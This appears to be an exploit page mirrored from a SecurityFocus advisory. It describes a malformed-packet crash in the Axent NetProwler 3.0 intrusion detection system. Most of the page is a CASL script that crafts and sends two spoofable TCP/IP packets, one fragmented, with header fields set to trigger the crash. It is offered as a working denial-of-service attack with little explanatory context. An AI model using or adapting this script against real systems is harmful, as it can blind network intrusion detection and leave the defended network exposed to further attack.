80 lines
No EOL
1.9 KiB
Text
80 lines
No EOL
1.9 KiB
Text
source: http://www.securityfocus.com/bid/1225/info
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Axent NetProwler 3.0 IDS is vulnerable to a malformed packet attack. It will crash if the Man-in-the-Middle signature encounters a packet for which the following expression is true:
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(IP_HEADER_LENGTH + TCP_HEADER_LENGTH) > IP_TOTAL_LENGTH
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According to Axent Security team, this is not a fragmented packet issue as reported in RFP2K05 By Rain Forest Puppy.
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In addition, NetProwler utilizes Microsoft JET engine 3.5 for storing incoming alert information. More information regarding the Microsoft JET engine 3.5 vulnerability can be found at:
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http://www.securityfocus.com/bid/286
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#include "tcpip.casl"
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#include "packets.casl"
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Src = pop args;
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Dst = pop args;
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Src = getip(Src);
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Dst = getip(Dst);
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iph = copy TCPIP;
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iph.ip_version = 4;
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iph.ip_headerlen = 5;
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iph.ip_tos = 0;
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iph.ip_length = 36;
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iph.ip_id = 2233;
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iph.ip_offset = 3;
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iph.ip_ttl = 62;
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iph.ip_protocol = 6;
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iph.ip_cksum = 38648;
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iph.ip_source = Src;
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iph.ip_destination = Dst;
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tch = copy SYN;
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tch.tcp_source = 1026;
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tch.tcp_destination = 2058;
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tch.tcp_seqno = 2542901;
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tch.tcp_ackno = 0;
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tch.tcp_offset = 0;
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tch.tcp_x2 = 1;
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tch.tcp_syn = 1;
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tch.tcp_window = 768;
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pk1data = "\x 0\x 0\x 0\x 0\x 0\x 0";
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packet = [ iph, tch, pk1data ];
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ip_output(packet);
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iph2 = copy TCPIP;
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iph2.ip_version = 4;
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iph2.ip_headerlen = 5;
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iph2.ip_tos = 0;
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iph2.ip_length = 44;
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iph2.ip_id = 2239;
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iph2.ip_mf = 1;
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iph2.ip_ttl = 62;
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iph2.ip_protocol = 6;
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iph2.ip_cksum = 30445;
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iph2.ip_source = Src;
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iph2.ip_destination = Dst;
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tch2 = copy SYN;
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tch2.tcp_source = 1032;
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tch2.tcp_destination = 21;
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tch2.tcp_seqno = 2816737352;
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tch2.tcp_ackno = 0;
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tch2.tcp_x2 = 10;
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tch2.tcp_syn = 1;
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tch2.tcp_window = 32120;
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tch2.tcp_cksum = 29341;
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pk2data = "\x 2\x 4\x 5\xb4 \x 0\x 0";
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packet = [ iph2, tch2, pk2data ];
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ip_output(packet); |